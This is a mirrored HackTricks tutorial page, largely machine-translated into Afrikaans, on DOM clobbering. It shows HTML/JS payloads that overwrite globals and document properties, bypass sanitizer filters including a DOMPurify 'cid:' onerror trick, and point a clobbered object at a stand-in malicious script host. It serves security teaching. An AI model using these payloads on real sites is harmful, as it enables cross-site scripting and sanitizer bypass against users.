mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 06:58:27 +00:00
225 lines
12 KiB
Markdown
225 lines
12 KiB
Markdown
# Dom Clobbering
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Basiese beginsels**
|
||
|
||
Dit is moontlik om **globale veranderlikes binne die JS-konteks** te genereer met die attribuut **`id`** en **`name`** in HTML-tags.
|
||
```html
|
||
<form id=x></form>
|
||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||
```
|
||
**Slegs** sekere elemente kan die **naam attribuut** gebruik om globals te clobber, hulle is: `embed`, `form`, `iframe`, `image`, `img` en `object`.
|
||
|
||
Interessant genoeg, wanneer jy 'n **form element** gebruik om 'n veranderlike te **clobber**, sal jy die **`toString`** waarde van die element self kry: `[object HTMLFormElement]` maar met **anker** sal die **`toString`** die anker **`href`** wees. Daarom, as jy clobber met die **`a`** tag, kan jy die **waarde** **beheer** wanneer dit **as 'n string** behandel word:
|
||
```html
|
||
<a href="controlled string" id=x></a>
|
||
<script>
|
||
console.log(x);//controlled string
|
||
</script>
|
||
```
|
||
### Arrays & Attributes
|
||
|
||
Dit is ook moontlik om **'n array** en **objek eienskappe** te **klobber**:
|
||
```html
|
||
<a id=x>
|
||
<a id=x name=y href=controlled>
|
||
<script>
|
||
console.log(x[1])//controlled
|
||
console.log(x.y)//controlled
|
||
</script>
|
||
```
|
||
Om **'n 3de attribuut** (bv. x.y.z) te oorskry, moet jy **'n `form`** gebruik:
|
||
```html
|
||
<form id=x name=y><input id=z value=controlled></form>
|
||
<form id=x></form>
|
||
<script>
|
||
alert(x.y.z.value)//controlled
|
||
</script>
|
||
```
|
||
Clobbering meer eienskappe is **meer ingewikkeld maar steeds moontlik**, met behulp van iframes:
|
||
```html
|
||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>alert(x.y)//controlled</script>
|
||
```
|
||
{% hint style="warning" %}
|
||
Die style-tag word gebruik om **genoeg tyd te gee vir die iframe om te render**. Sonder dit sal jy 'n waarskuwing van **undefined** vind.
|
||
{% endhint %}
|
||
|
||
Om dieper eienskappe te klobber, kan jy **iframes met html-kodering** op hierdie manier gebruik:
|
||
```html
|
||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||
<style>@import 'https://google.com';</style>
|
||
<script>
|
||
alert(a.b.c.d.e)//controlled
|
||
</script>
|
||
```
|
||
### **Filter Omseiling**
|
||
|
||
As 'n filter **deurloop** deur die **eienskappe** van 'n node met iets soos `document.getElementByID('x').attributes`, kan jy die eienskap **`.attributes`** **oorstroom** en die filter **breek**. Ander DOM-eienskappe soos **`tagName`**, **`nodeName`** of **`parentNode`** en meer is ook **oorstroombaar**.
|
||
```html
|
||
<form id=x></form>
|
||
<form id=y>
|
||
<input name=nodeName>
|
||
</form>
|
||
<script>
|
||
console.log(document.getElementById('x').nodeName)//FORM
|
||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||
</script>
|
||
```
|
||
## **Clobbering `window.someObject`**
|
||
|
||
In JavaScript is dit algemeen om te vind:
|
||
```javascript
|
||
var someObject = window.someObject || {};
|
||
```
|
||
Manipulasie van HTML op die bladsy laat toe om `someObject` met 'n DOM-knoop te oorskry, wat moontlik sekuriteitskwesies kan inbring. Byvoorbeeld, jy kan `someObject` vervang met 'n anker-element wat na 'n kwaadwillige skrip wys:
|
||
```html
|
||
<a id=someObject href=//malicious-website.com/malicious.js></a>
|
||
```
|
||
In 'n kwesbare kode soos:
|
||
```html
|
||
<script>
|
||
window.onload = function(){
|
||
let someObject = window.someObject || {};
|
||
let script = document.createElement('script');
|
||
script.src = someObject.url;
|
||
document.body.appendChild(script);
|
||
};
|
||
</script>
|
||
```
|
||
This method exploits the script source to execute unwanted code.
|
||
|
||
**Trick**: **`DOMPurify`** laat jou toe om die **`cid:`** protokol te gebruik, wat **nie dubbele aanhalings URL-kodeer nie**. Dit beteken jy kan **'n gekodeerde dubbele aanhaling insit wat tydens uitvoering gedecodeer sal word**. Daarom sal die insluiting van iets soos **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** die HTML-gecodeerde `"` **tydens uitvoering gedecodeer** en **ontsnap** uit die attribuutwaarde om die **`onerror`** gebeurtenis te **skep**.
|
||
|
||
Another technique uses a **`form`** element. Sekere kliënt-kant biblioteke ondersoek die attribuut van 'n nuut geskepte vormelement om dit skoon te maak. egter, deur 'n `input` met `id=attributes` binne die vorm by te voeg, oorskry jy effektief die attribuut eienskap, wat die sanitizer verhinder om toegang te verkry tot die werklike attribuut.
|
||
|
||
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||
|
||
## Clobbering document object
|
||
|
||
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
|
||
|
||
> The [Document](https://html.spec.whatwg.org/multipage/dom.html#document) interface [supports named properties](https://webidl.spec.whatwg.org/#dfn-support-named-properties). The [supported property names](https://webidl.spec.whatwg.org/#dfn-supported-property-names) of a [Document](https://html.spec.whatwg.org/multipage/dom.html#document) object document at any moment consist of the following, in [tree order](https://dom.spec.whatwg.org/#concept-tree-order) according to the element that contributed them, ignoring later duplicates, and with values from [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) attributes coming before values from name attributes when the same element contributes both:
|
||
>
|
||
> \- The value of the name content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element), and [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty name content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [exposed](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) elements that have a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||
> \
|
||
> \- The value of the [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute for all [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) elements that have both a non-empty [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) content attribute and a non-empty name content attribute, and are [in a document tree](https://dom.spec.whatwg.org/#in-a-document-tree) with document as their [root](https://dom.spec.whatwg.org/#concept-tree-root).
|
||
|
||
Using this technique you can overwrite commonly used **values such as `document.cookie`, `document.body`, `document.children`**, and even methods in the Document interface like `document.querySelector`.
|
||
```javascript
|
||
document.write("<img name=cookie />")
|
||
|
||
document.cookie
|
||
<img name="cookie">
|
||
|
||
typeof(document.cookie)
|
||
'object'
|
||
|
||
//Something more sanitize friendly than a img tag
|
||
document.write("<form name=cookie><input id=toString></form>")
|
||
|
||
document.cookie
|
||
HTMLCollection(2) [img, form, cookie: img]
|
||
|
||
typeof(document.cookie)
|
||
'object
|
||
```
|
||
## Skryf na die element wat geklobber is
|
||
|
||
Die resultate van oproepe na **`document.getElementById()`** en **`document.querySelector()`** kan verander word deur 'n `<html>` of `<body>` etiket met 'n identiese id-attribuut in te spuit. Hier is hoe dit gedoen kan word:
|
||
```html
|
||
<div style="display:none" id="cdnDomain" class="x">test</div>
|
||
<p>
|
||
<html id="cdnDomain" class="x">clobbered</html>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
alert(document.querySelector('.x').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Verder, deur style te gebruik om hierdie ingeslote HTML/body-tags te verberg, kan inmenging van ander teks in die `innerText` voorkom word, wat die doeltreffendheid van die aanval verbeter:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">test</div>
|
||
<p>existing text</p>
|
||
<html id="cdnDomain">clobbered</html>
|
||
<style>
|
||
p{display:none;}
|
||
</style>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Ondersoeke na SVG het onthul dat 'n `<body>` etiket ook effektief gebruik kan word:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg><body id="cdnDomain">clobbered</body></svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
Om die HTML-tag binne SVG in blaaiers soos Chrome en Firefox te laat werk, is 'n `<foreignobject>`-tag nodig:
|
||
```html
|
||
<div style="display:none" id="cdnDomain">example.com</div>
|
||
<svg>
|
||
<foreignobject>
|
||
<html id="cdnDomain">clobbered</html>
|
||
</foreignobject>
|
||
</svg>
|
||
<script>
|
||
alert(document.getElementById('cdnDomain').innerText); // Clobbered
|
||
</script>
|
||
```
|
||
## Clobbering Forms
|
||
|
||
Dit is moontlik om **nuwe inskrywings binne 'n vorm** by te voeg net deur die **`form` attribuut** binne sommige etikette te spesifiseer. Jy kan dit gebruik om **nuwe waardes binne 'n vorm** by te voeg en selfs 'n nuwe **knoppie** by te voeg om dit **te stuur** (clickjacking of om sommige `.click()` JS kode te misbruik):
|
||
|
||
{% code overflow="wrap" %}
|
||
```html
|
||
<!--Add a new attribute and a new button to send-->
|
||
<textarea form=id-other-form name=info>
|
||
";alert(1);//
|
||
</textarea>
|
||
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
|
||
Click to send!
|
||
</button>
|
||
```
|
||
{% endcode %}
|
||
|
||
* Vir meer vormattribuut in [**knoppie kyk hierna**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||
|
||
## Verwysings
|
||
|
||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||
* Heyes, Gareth. JavaScript vir hackers: Leer om soos 'n hacker te dink.
|
||
|
||
{% hint style="success" %}
|
||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Ondersteun HackTricks</summary>
|
||
|
||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|